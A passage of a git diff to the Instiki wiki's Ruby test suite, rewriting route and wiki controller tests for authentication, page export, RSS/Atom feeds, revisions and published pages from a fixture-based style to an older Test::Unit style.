         :controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE')
-        
-#    assert_routing('web/show/HomePage%3F', 
-#        :controller => 'wiki', :web => 'web', :action => 'show', 
-#        :id => 'HomePage')
-        
-#    assert_routing('web/show/HomePage%3Farg1%3Dvalue1%26arg2%3Dvalue2', 
-#        :controller => 'wiki', :web => 'web', :action => 'show', 
-#        :id => 'HomePage?arg1=value1&arg2=value2')
+      
+    assert_routing('web/show/HomePage%3Farg1%3Dvalue1%26arg2%3Dvalue2', 
+        :controller => 'wiki', :web => 'web', :action => 'show', 
+        :id => 'HomePage?arg1=value1&arg2=value2')
     
-    assert_routing('web/files/abc.zip',
+    assert_routing('web/file/abc.zip', 
         :web => 'web', :controller => 'file', :action => 'file', :id => 'abc.zip')
+    assert_routing('web/pic/abc.jpg', 
+        :web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg')
     assert_routing('web/import', :web => 'web', :controller => 'file', :action => 'import')
     # default option is wiki
     assert_recognizes({:controller => 'wiki', :web => 'unknown_path', :action => 'index', }, 
@@ -49,8 +44,8 @@ class RoutesTest < ActionController::TestCase
   end
 
   def test_cases_broken_by_routes
-   assert_routing('web/show/Page+With+Spaces', 
-       :controller => 'wiki', :web => 'web', :action => 'show', :id => 'Page With Spaces')
+#    assert_routing('web/show/Page+With+Spaces', 
+#        :controller => 'wiki', :web => 'web', :action => 'show', :id => 'Page With Spaces')
 #    assert_routing('web/show/HomePage%2Fsomething_else', 
 #        :controller => 'wiki', :web => 'web', :action => 'show', :id => 'HomePage/something_else')
   end
diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb
old mode 100644
new mode 100755
index d1193231..aa2bf238
--- a/test/functional/wiki_controller_test.rb
+++ b/test/functional/wiki_controller_test.rb
@@ -1,112 +1,89 @@
-#!/usr/bin/env ruby
-#coding: utf-8
+#!/bin/env ruby -w
 
 # Uncomment the line below to enable pdflatex tests; don't forget to comment them again 
 # commiting to SVN
 # $INSTIKI_TEST_PDFLATEX = true
 
-require Rails.root.join('test', 'test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 require 'wiki_controller'
 require 'rexml/document'
 require 'tempfile'
 require 'zip/zipfilesystem'
-require 'instiki_stringsupport'
 
 # Raise errors beyond the default web-based presentation
 class WikiController; def rescue_action(e) logger.error(e); raise e end; end
 
-class WikiControllerTest < ActionController::TestCase
-  fixtures :webs, :pages, :revisions, :system, :wiki_references
-  
+class WikiControllerTest < Test::Unit::TestCase
+
   def setup
-    @controller = WikiController.new
-    @controller.extend ApplicationHelper
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    class << @request.session
-      attr_accessor :dbman
-    end
-    # simulate a cookie session store
-    @request.session.dbman = FakeSessionDbMan
-    @wiki = Wiki.new
-    @web = webs(:test_wiki)
-    @home = @page = pages(:home_page)
-    @oak = pages(:oak)
-    @liquor = pages(:liquor)
-    @elephant = pages(:elephant)
-    @eternity = Regexp.new('author=.*; path=/; expires=' + Time.utc(2030).strftime("%a, %d-%b-%Y %H:%M:%S GMT"))
-    set_tex_header
+    setup_test_wiki
+    setup_controller_test
   end
 
-  def test_truncate_page_name
-    wanted_page_name = 'This is a very, very, very, very, VERY long page name'
-    evil_page_name = 'This page has plenty of fun &amp; games'
-    unicode_page_name = "This p\xF0\x9D\x94\xB8\xF0\x9D\x94\xBE\xF0\x9D\x94\xBC has plenty of fun &amp; games"
-    assert_equal 'This is a very, very, very,...',  @controller.truncate(WikiWords.separate(wanted_page_name), :length => 35)
-    assert_equal 'This page has plenty of fun...',  @controller.truncate(WikiWords.separate(evil_page_name))
-    truncated = "".respond_to?(:force_encoding) ? "This p\u{1D538}\u{1D53E}\u{1D53C} has plenty of fun\u2633\u2633" :
-                 "This p\xF0\x9D\x94\xB8\xF0\x9D\x94\xBE\xF0\x9D\x94\xBC has plenty of fun\xE2\x98\xB3\xE2\x98\xB3"
-    assert_equal truncated, @controller.truncate(WikiWords.separate(unicode_page_name), :omission =>"\xE2\x98\xB3\xE2\x98\xB3")
+  def tear_down
+    tear_down_wiki
   end
 
+
   def test_authenticate
-    set_web_property :password, 'pswd'
+    @web.password = 'pswd'
   
-    get :authenticate, :web => 'wiki1', :password => 'pswd'
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    assert_equal 'pswd', @response.cookies['wiki1']
+    r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd')
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage'
+    assert_equal ['pswd'], r.cookies['web_address']
   end
 
   def test_authenticate_wrong_password
-    set_web_property :password, 'pswd'
+    @web.password = 'pswd'
 
     r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password')
-    assert_redirected_to :action => 'login', :controller => 'wiki', :web => 'wiki1'
+    assert_redirected_to :action => 'login', :web => 'wiki1'
     assert_nil r.cookies['web_address']
   end
 
+
   def test_authors
+    setup_wiki_with_three_pages
     @wiki.write_page('wiki1', 'BreakSortingOrder',
         "This page breaks the accidentally correct sorting order of authors",
-        Time.now, Author.new('BreakingTheOrder', '127.0.0.2'), x_test_renderer)
+        Time.now, Author.new('BreakingTheOrder', '127.0.0.2'))
 
     r = process('authors', 'web' => 'wiki1')
 
-    assert_response(:success)
-    assert_equal %w(AnAuthor BreakingTheOrder DavidHeinemeierHansson Guest Me TreeHugger), 
+    assert_success
+    assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], 
         r.template_objects['authors']
-    page_names_by_author = r.template_objects['page_names_by_author'] 
-    assert_equal r.template_objects['authors'], page_names_by_author.keys.sort
-    assert_equal %w(FirstPage HomePage), page_names_by_author['DavidHeinemeierHansson']
   end
 
+
   def test_cancel_edit
+    setup_wiki_with_three_pages
     @oak.lock(Time.now, 'Locky')
     assert @oak.locked?(Time.now)
   
     r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak')
     
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'Oak'
-    assert !Page.find(@oak.id).locked?(Time.now)
+    assert_redirected_to :action => 'show', :id => 'Oak'
+    assert !@oak.locked?(Time.now)
   end
 
+
   def test_edit
     r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage'
-    assert_response(:success)
+    assert_success
     assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page']
   end
 
   def test_edit_page_locked_page
     @home.lock(Time.now, 'Locky')
     process 'edit', 'web' => 'wiki1', 'id' => 'HomePage'
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'locked', :id => 'HomePage'
+    assert_redirected_to :action => 'locked'
   end
 
   def test_edit_page_break_lock
     @home.lock(Time.now, 'Locky')
     process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y'
-    assert_response(:success)
-    @home = Page.find(@home.id)
+    assert_success
     assert @home.locked?(Time.now)
   end
 
@@ -117,189 +94,161 @@ class WikiControllerTest < ActionController::TestCase
   end
   
   def test_edit_page_with_special_symbols
-    @wiki.write_page('wiki1', 'With : Special /> symbols', 
-         'This page has special symbols in the name', Time.now, Author.new('Special', '127.0.0.3'), 
-         x_test_renderer)
+    @wiki.write_page('wiki1', 'With : Special /> symbols',
+    'This page has special symbols in the name',
+    Time.now, Author.new('Special', '127.0.0.3'))
     
     r = process 'edit', 'web' => 'wiki1', 'id' => 'With : Special /> symbols'
-    assert_response(:success)
-    xml = REXML::Document.new(r.body.to_str)
+    assert_success
+    xml = REXML::Document.new(r.body)
     form = REXML::XPath.first(xml, '//form')
     assert_equal '/wiki1/save/With+%3A+Special+%2F%3E+symbols', form.attributes['action']
   end
 
-  def test_export_xhtml
-    @request.accept = 'application/xhtml+xml'
-    # rollback homepage to a version that is easier to match
-    @home.rollback(0, Time.now, 'Rick', x_test_renderer)
-    r = process 'export_html', 'web' => 'wiki1'
-    
-    assert_response(:success, bypass_body_parsing = true)
-    assert_equal 'application/zip', r.headers['Content-Type']
-    assert_match /attachment; filename="wiki1-xhtml-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
-        r.headers['Content-Disposition']
-    assert_equal 'PK', r.body[0..1], 'Content is not a zip file'
-    
-    # Tempfile doesn't know how to open files with binary flag, hence the two-step process
-    Tempfile.open('instiki_export_file') { |f| @tempfile_path = f.path }
-    # some wacky bug in Ruby 1.9.2p0's Tempfile is fixed by
-    @tempfile_path.to_s
-    begin 
-      File.open(@tempfile_path, 'wb') { |f| f.write(r.body); @exported_file = f.path }
-      Zip::ZipFile.open(@exported_file) do |zip| 
-        assert_equal %w(Elephant.xhtml FirstPage.xhtml HomePage.xhtml MyWay.xhtml NoWikiWord.xhtml Oak.xhtml SmartEngine.xhtml ThatWay.xhtml index.xhtml liquor.xhtml), zip.dir.entries('.').sort
-        assert_match /.*<html .*All about elephants.*<\/html>/, 
-            zip.file.read('Elephant.xhtml').gsub(/\s+/, ' ')
-        assert_match /.*<html .*All about oak.*<\/html>/, 
-            zip.file.read('Oak.xhtml').gsub(/\s+/, ' ')
-        assert_match /.*<html .*First revision of the.*HomePage.*end.*<\/html>/, 
-            zip.file.read('HomePage.xhtml').gsub(/\s+/, ' ')
-        assert_equal '<html xmlns=\'http://www.w3.org/1999/xhtml\'><head><meta http-equiv="Refresh" content="0;URL=HomePage.xhtml" /></head></html> ', zip.file.read('index.xhtml').gsub(/\s+/, ' ')
-      end
-    ensure
-      File.delete(@tempfile_path) if File.exist?(@tempfile_path)
-    end
-  end
 
   def test_export_html
-    @request.accept = 'tex/html'
-    # rollback homepage to a version that is easier to match
-    @home.rollback(0, Time.now, 'Rick', x_test_renderer)
+    setup_wiki_with_three_pages
+    
     r = process 'export_html', 'web' => 'wiki1'
     
-    assert_response(:success, bypass_body_parsing = true)
+    assert_success(bypass_body_parsing = true)
     assert_equal 'application/zip', r.headers['Content-Type']
     assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
         r.headers['Content-Disposition']
     assert_equal 'PK', r.body[0..1], 'Content is not a zip file'
+    assert_equal :export, r.template_objects['link_mode']
     
     # Tempfile doesn't know how to open files with binary flag, hence the two-step process
     Tempfile.open('instiki_export_file') { |f| @tempfile_path = f.path }
     begin 
       File.open(@tempfile_path, 'wb') { |f| f.write(r.body); @exported_file = f.path }
       Zip::ZipFile.open(@exported_file) do |zip| 
-        assert_equal %w(Elephant.html FirstPage.html HomePage.html MyWay.html NoWikiWord.html Oak.html SmartEngine.html ThatWay.html index.html liquor.html), zip.dir.entries('.').sort
+        assert_equal %w(Elephant.html HomePage.html Oak.html index.html), zip.dir.entries('.').sort
         assert_match /.*<html .*All about elephants.*<\/html>/, 
             zip.file.read('Elephant.html').gsub(/\s+/, ' ')
         assert_match /.*<html .*All about oak.*<\/html>/, 
             zip.file.read('Oak.html').gsub(/\s+/, ' ')
         assert_match /.*<html .*First revision of the.*HomePage.*end.*<\/html>/, 
             zip.file.read('HomePage.html').gsub(/\s+/, ' ')
-        assert_equal '<html xmlns=\'http://www.w3.org/1999/xhtml\'><head><meta http-equiv="Refresh" content="0;URL=HomePage.html" /></head></html> ', zip.file.read('index.html').gsub(/\s+/, ' ')
+        assert_equal '<html><head><META HTTP-EQUIV="Refresh" CONTENT="0;URL=HomePage.html"></head></html> ', zip.file.read('index.html').gsub(/\s+/, ' ')
       end
     ensure
       File.delete(@tempfile_path) if File.exist?(@tempfile_path)
     end
   end
-  
-  def test_export_html_no_layout    
+
+  def test_export_html_no_layout
+    setup_wiki_with_three_pages
+    
     r = process 'export_html', 'web' => 'wiki1', 'layout' => 'no'
     
-    assert_response(:success, bypass_body_parsing = true)
+    assert_success(bypass_body_parsing = true)
     assert_equal 'application/zip', r.headers['Content-Type']
-    assert_match /attachment; filename="wiki1-x?html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
+    assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
         r.headers['Content-Disposition']
     assert_equal 'PK', r.body[0..1], 'Content is not a zip file'
+    assert_equal :export, r.template_objects['link_mode']
   end
 
   def test_export_markup
     r = process 'export_markup', 'web' => 'wiki1'
 
-    assert_response(:success, bypass_body_parsing = true)
+    assert_success(bypass_body_parsing = true)
     assert_equal 'application/zip', r.headers['Content-Type']
-    assert_match /attachment; filename="wiki1-markdownMML-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
+    assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, 
         r.headers['Content-Disposition']
     assert_equal 'PK', r.body[0..1], 'Content is not a zip file'
   end
 
 
-  if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX
+  if ENV['INSTIKI_TEST_PDFLATEX'] or defined? $INSTIKI_TEST_PDFLATEX
 
-#    def test_export_pdf
-#      r = process 'export_pdf', 'web' => 'wiki1'
-#      assert_response(:success, bypass_body_parsing = true)
-#      assert_equal 'application/pdf', r.headers['Content-Type']
-#      assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, 
-#          r.headers['Content-Disposition']
-#      assert_equal '%PDF', r.body[0..3]
-#      assert_equal "EOF\n", r.body[-4..-1]
-#    end
+    def test_export_pdf
+      r = process 'export_pdf', 'web' => 'wiki1'
+      assert_success(bypass_body_parsing = true)
+      assert_equal 'application/pdf', r.headers['Content-Type']
+      assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, 
+          r.headers['Content-Disposition']
+      assert_equal '%PDF', r.body[0..3]
+      assert_equal "EOF\n", r.body[-4..-1]
+    end
 
   else
-#    puts 'Warning: tests involving pdflatex are very slow, therefore they are disabled by default.'
-#    puts '         Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable'
-#    puts '         $INSTIKI_TEST_PDFLATEX to enable them.'
+    puts 'Warning: tests involving pdflatex are very slow, therefore they are disabled by default.'
+    puts '         Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable'
+    puts '         $INSTIKI_TEST_PDFLATEX to enable them.'
   end
   
-#  def test_export_tex    
-#    r = process 'export_tex', 'web' => 'wiki1'
-#
-#    assert_response(:success, bypass_body_parsing = true)
-#    assert_equal 'application/octet-stream', r.headers['Content-Type']
-#    assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, 
-#        r.headers['Content-Disposition']
-#    assert_equal '\documentclass', r.body[0..13], 'Content is not a TeX file'
-#  end
+  
+  def test_export_tex
+    setup_wiki_with_three_pages
+    
+    r = process 'export_tex', 'web' => 'wiki1'
+
+    assert_success(bypass_body_parsing = true)
+    assert_equal 'application/octet-stream', r.headers['Content-Type']
+    assert_match(/attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, 
+        r.headers['Content-Disposition'])
+    assert_equal '\documentclass', r.body[0..13], 'Content is not a TeX file'
+  end
 
   def test_feeds
     process('feeds', 'web' => 'wiki1')
   end
 
   def test_index
-    # delete extra web fixture
-    webs(:instiki).destroy
     process('index')
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage'
   end
 
   def test_index_multiple_webs
     @wiki.create_web('Test Wiki 2', 'wiki2')
     process('index')
-    assert_redirected_to :controller => 'wiki', :action => 'web_list'
+    assert_redirected_to :action => 'web_list'
   end
 
   def test_index_multiple_webs_web_explicit
     @wiki.create_web('Test Wiki 2', 'wiki2')
     process('index', 'web' => 'wiki2')
-    assert_redirected_to :web => 'wiki2', :controller => 'wiki', :action => 'show', :id => 'HomePage'
+    assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage'
   end
 
   def test_index_wiki_not_initialized
-    use_blank_wiki
+    ApplicationController.wiki = WikiServiceWithNoPersistence.new
     process('index')
     assert_redirected_to :controller => 'admin', :action => 'create_system'
   end
 
 
   def test_list
+    setup_wiki_with_three_pages
+
     r = process('list', 'web' => 'wiki1')
 
     assert_equal ['animals', 'trees'], r.template_objects['categories']
     assert_nil r.template_objects['category']
-    assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), 
-                  @oak, pages(:smart_engine), pages(:that_way), @liquor], 
-                 r.template_objects['pages_in_category']
+    assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category']
   end
 
 
   def test_locked
     @home.lock(Time.now, 'Locky')
     r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage')
-    assert_response(:success)
+    assert_success
     assert_equal @home, r.template_objects['page']
   end
 
 
   def test_login
     r = process 'login', 'web' => 'wiki1'
-    assert_response(:success)
+    assert_success
     # this action goes straight to the templates
   end
 
 
   def test_new
     r = process('new', 'id' => 'NewPage', 'web' => 'wiki1')
-    assert_response(:success)
+    assert_success
     assert_equal 'AnonymousCoward', r.template_objects['author']
     assert_equal 'NewPage', r.template_objects['page_name']
   end
@@ -307,18 +256,20 @@ class WikiControllerTest < ActionController::TestCase
 
   if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX
 
-#    def test_pdf
-#      assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available'
-#      r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage')
-#      assert_response(:success, bypass_body_parsing = true)
-#
-#      assert_equal '%PDF', r.body[0..3]
-#      assert_equal "EOF\n", r.body[-4..-1]
-#
-#      assert_equal 'application/pdf', r.headers['Content-Type']
-#      assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, 
-#          r.headers['Content-Disposition']
-#    end
+    def test_pdf
+      assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available'
+      r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage')
+      assert_success
+
+      content = r.binary_content
+      
+      assert_equal '%PDF', content[0..3]
+      assert_equal "EOF\n", content[-4..-1]
+
+      assert_equal 'application/pdf', r.headers['Content-Type']
+      assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, 
+          r.headers['Content-Disposition']
+    end
 
   end
 
@@ -326,166 +277,78 @@ class WikiControllerTest < ActionController::TestCase
   def test_print
     r = process('print', 'web' => 'wiki1', 'id' => 'HomePage')
 
-    assert_response(:success)
+    assert_success
     assert_equal :show, r.template_objects['link_mode']
   end
 
 
-  def test_source
-    r = process('source', 'web' => 'wiki1', 'id' => 'HomePage')
-
-    assert_response(:success)
-    assert_match Regexp.new(Regexp.escape(%{HisWay would be MyWay $\\sin(x)\\begin{svg}&} +
-      %{lt;svg/&gt;\\end{svg}\\includegraphics\[width=3em\]{foo}$ in kinda} +
-      %{ ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in t} +
-      %{hat SmartEngineGUI})), r.body
-  end
-
-  def test_source_with_revision
-    r = process('source', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '1')
-
-    assert_response(:success)
-    assert_match Regexp.new(Regexp.escape(%{First revision of the HomePage})), r.body
-  end
-
   def test_published
-    set_web_property :published, true
+    @web.published = true
     
     r = process('published', 'web' => 'wiki1', 'id' => 'HomePage')
     
-    assert_response(:success)
+    assert_success
     assert_equal @home, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/wiki1\/published\/ThatWay'>That Way<\/a>/, r.body.as_bytes
-
-    r = process('show', 'web' => 'wiki1', 'id' => 'HomePage')
-    
-    assert_response(:success)
-    assert_equal @home, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/wiki1\/show\/ThatWay'>That Way<\/a>/, r.body.as_bytes
-
-    r = process 'save', 'web' => 'instiki', 'id' => 'HomePage', 'content' => 'Contents of a new page', 
-      'author' => 'AuthorOfNewPage'
-    assert_equal Web.find_by_address('instiki').has_page?('HomePage'), true
-
-    r = process('published', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/show\/HomePage' title='instiki'>go there<\/a>/, r.body
-
-    r = process('show', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/show\/HomePage' title='instiki'>go there<\/a>/, r.body
-
-    Web.find_by_address('instiki').update_attribute(:published, true)
-
-    r = process('published', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/published\/HomePage' title='instiki'>go there<\/a>/, r.body
-
-    r = process('show', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/published\/HomePage' title='instiki'>go there<\/a>/, r.body
-
-    set_web_property :published, false
-
-    r = process('show', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/published\/HomePage' title='instiki'>go there<\/a>/, r.body
-
-    Web.find_by_address('instiki').update_attribute(:published, false)
-
-    r = process('show', 'web' => 'wiki1', 'id' => 'liquor')
-
-    assert_response(:success)
-    assert_equal @liquor, r.template_objects['page']
-    assert_match /<a class='existingWikiWord' href='\/instiki\/show\/HomePage' title='instiki'>go there<\/a>/, r.body
   end
 
 
   def test_published_web_not_published
-    set_web_property :published, false
+    @web.published = false
     
     r = process('published', 'web' => 'wiki1', 'id' => 'HomePage')
 
-    assert_response :missing
-  end
-
-  def test_published_should_render_homepage_if_no_page_specified
-    set_web_property :published, true
-    
-    r = process('published', 'web' => 'wiki1')
-    
-    assert_response(:success)
-    assert_equal @home, r.template_objects['page']
+    assert_redirected_to :action => 'show', :id => 'HomePage'    
   end
 
 
   def test_recently_revised
     r = process('recently_revised', 'web' => 'wiki1')
-    assert_response(:success)
+    assert_success
     
-    assert_equal %w(animals trees), r.template_objects['categories']
+    assert_equal [], r.template_objects['categories']
     assert_nil r.template_objects['category']
-    all_pages = @elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), 
-                @oak, pages(:smart_engine), pages(:that_way), @liquor
-    assert_equal all_pages, r.template_objects['pages_in_category']
-    
-    pages_by_day = r.template_objects['pages_by_day']
-    assert_not_nil pages_by_day
-    pages_by_day_size = pages_by_day.keys.inject(0) { |sum, day| sum + pages_by_day[day].size }
-    assert_equal all_pages.size, pages_by_day_size
-    all_pages.each do |page| 
-      day = Date.new(page.revised_at.year, page.revised_at.month, page.revised_at.day)
-      assert pages_by_day[day].include?(page)
-    end
-    
+    assert_equal [@home], r.template_objects['pages_in_category']
     assert_equal 'the web', r.template_objects['set_name']
   end
   
   def test_recently_revised_with_categorized_page
-    page2 = @wiki.write_page('wiki1', "Pagé",
+    page2 = @wiki.write_page('wiki1', 'Page2',
         "Page2 contents.\n" +
-        "category: categorizé", 
-        Time.now, Author.new("André Auteur", '127.0.0.2'), x_test_renderer)
+        "category: categorized", 
+        Time.now, Author.new('AnotherAuthor', '127.0.0.2'))
       
     r = process('recently_revised', 'web' => 'wiki1')
-    assert_response(:success)
+    assert_success
     
-    c = ''.respond_to?(:force_encoding) ? "categoriz\u00E9" : "categoriz\303\251"
-    assert_equal ['animals',  c,  'trees'], r.template_objects['categories']
+    assert_equal ['categorized'], r.template_objects['categories']
     # no category is specified in params
     assert_nil r.template_objects['category']
-    assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, page2, pages(:smart_engine), pages(:that_way), @liquor], r.template_objects['pages_in_category'],
+    assert_equal [@home, page2], r.template_objects['pages_in_category'],
         "Pages are not as expected: " +
         r.template_objects['pages_in_category'].map {|p| p.name}.inspect
     assert_equal 'the web', r.template_objects['set_name']
   end
 
   def test_recently_revised_with_categorized_page_multiple_categories
+    setup_wiki_with_three_pages
+
     r = process('recently_revised', 'web' => 'wiki1')
-    assert_response(:success)
+    assert_success
 
     assert_equal ['animals', 'trees'], r.template_objects['categories']
     # no category is specified in params
     assert_nil r.template_objects['category']
-    assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, pages(:smart_engine), pages(:that_way), @liquor], r.template_objects['pages_in_category'], 
+    assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], 
         "Pages are not as expected: " +
         r.template_objects['pages_in_category'].map {|p| p.name}.inspect
     assert_equal 'the web', r.template_objects['set_name']
   end
 
   def test_recently_revised_with_specified_category
+    setup_wiki_with_three_pages
+      
     r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals')
-    assert_response(:success)
+    assert_success
     
     assert_equal ['animals', 'trees'], r.template_objects['categories']
     # no category is specified in params
@@ -496,311 +359,201 @@ class WikiControllerTest < ActionController::TestCase
 
 
   def test_revision
-    r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '1'
+    r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0'
 
-    assert_response(:success)
+    assert_success
     assert_equal @home, r.template_objects['page']
-    assert_equal @home.revisions[0], r.template_objects['revision'] 
+    assert_equal @home.revisions[0], r.template_objects['revision']
+  end
+  
+  def test_non_existant_revision_of_existing_page
+    r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '5'
+    assert_response :missing
+  end
+
+  def test_revision_of_nonexistant_page
+    r = process 'revision', 'web' => 'wiki1', 'id' => 'NonExistantPage', 'rev' => '0'
+    assert_response :missing
   end
   
 
   def test_rollback
     # rollback shows a form where a revision can be edited.
     # its assigns the same as or revision
-    home_page = Page.find(@home.id)
-    assert !home_page.locked?(Time.now)
-    r = process 'rollback', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '1'
+    r = process 'rollback', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0'
 
-    assert_response(:success)
+    assert_success
     assert_equal @home, r.template_objects['page']
     assert_equal @home.revisions[0], r.template_objects['revision']
-    home_page = Page.find(@home.id)
-    assert home_page.locked?(Time.now)
   end
 
-  def test_atom_with_content
-    r = process 'atom_with_content', 'web' => 'wiki1'
-
-    assert_response(:success)
+  def test_rss_with_content
+    setup_wiki_with_three_pages
+  
+    r = process 'rss_with_content', 'web' => 'wiki1'
+    
+    assert_success
     pages = r.template_objects['pages_by_revision']
-    assert_equal [@elephant, @liquor, @oak, pages(:no_wiki_word), pages(:that_way), pages(:smart_engine),
-          pages(:my_way), pages(:first_page), @home], pages,
+    assert_equal [@home, @oak, @elephant], pages,
         "Pages are not as expected: #{pages.map {|p| p.name}.inspect}"
     assert !r.template_objects['hide_description']
   end
 
-  def test_atom_with_content_when_blocked
-    @web.update_attributes(:password => 'aaa', :published => false)
-    @web = Web.find(@web.id)
+  def test_rss_with_content_when_blocked
+    setup_wiki_with_three_pages
+    @web.password = 'aaa'
+    @web.published = false
     
-    r = process 'atom_with_content', 'web' => 'wiki1'
+    r = process 'rss_with_content', 'web' => 'wiki1'
     
     assert_equal 403, r.response_code
   end
   
 
-  def test_atom_with_headlines
+  def test_rss_with_headlines
+    setup_wiki_with_three_pages
     @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', 
-      'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2'), x_test_renderer)
+      'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2'))
     
     @request.host = 'localhost'
     @request.port = 8080
   
-    r = process 'atom_with_headlines', 'web' => 'wiki1'
+    r = process 'rss_with_headlines', 'web' => 'wiki1'
 
-    assert_response(:success)
+    assert_success
     pages = r.template_objects['pages_by_revision']
-    assert_equal [@elephant, @liquor, @title_with_spaces, @oak, pages(:no_wiki_word), pages(:that_way), pages(:smart_engine), pages(:my_way), pages(:first_page), @home], pages, "Pages are not as expected: #{pages.map {|p| p.name}.inspect}"
+    assert_equal [@home, @oak, @elephant, @title_with_spaces], pages,
+        "Pages are not as expected: #{pages.map {|p| p.name}.inspect}"
     assert r.template_objects['hide_description']
     
     xml = REXML::Document.new(r.body)
 
     expected_page_links =
-        ['http://localhost:8080/wiki1/show/Elephant',
-         'http://localhost:8080/wiki1/show/Title+With+Spaces',
+        ['http://localhost:8080/wiki1/show/HomePage',
          'http://localhost:8080/wiki1/show/Oak',
-         'http://localhost:8080/wiki1/show/NoWikiWord',
-         'http://localhost:8080/wiki1/show/ThatWay',
-         'http://localhost:8080/wiki1/show/SmartEngine',
-         'http://localhost:8080/wiki1/show/MyWay',
-         'http://localhost:8080/wiki1/show/FirstPage',
-         'http://localhost:8080/wiki1/show/HomePage',
-         ]
+         'http://localhost:8080/wiki1/show/Elephant',
+         'http://localhost:8080/wiki1/show/Title+With+Spaces']
 
-     assert_tag :tag => 'link',
-                :parent => {:tag => 'feed'},
-                :attributes => { :rel => 'alternate',
-                                 :href => 'http://localhost:8080/wiki1/show/HomePage'}
-    expected_page_links.each do |link|
-       assert_tag :tag => 'link',
-                :parent => {:tag => 'entry'},
-                :attributes => {:href => link }
-    end
+    assert_template_xpath_match '/rss/channel/link', 
+        'http://localhost:8080/wiki1/show/HomePage'
+    assert_template_xpath_match '/rss/channel/item/guid', expected_page_links
+    assert_template_xpath_match '/rss/channel/item/link', expected_page_links
   end
 
-  def test_atom_switch_links_to_published
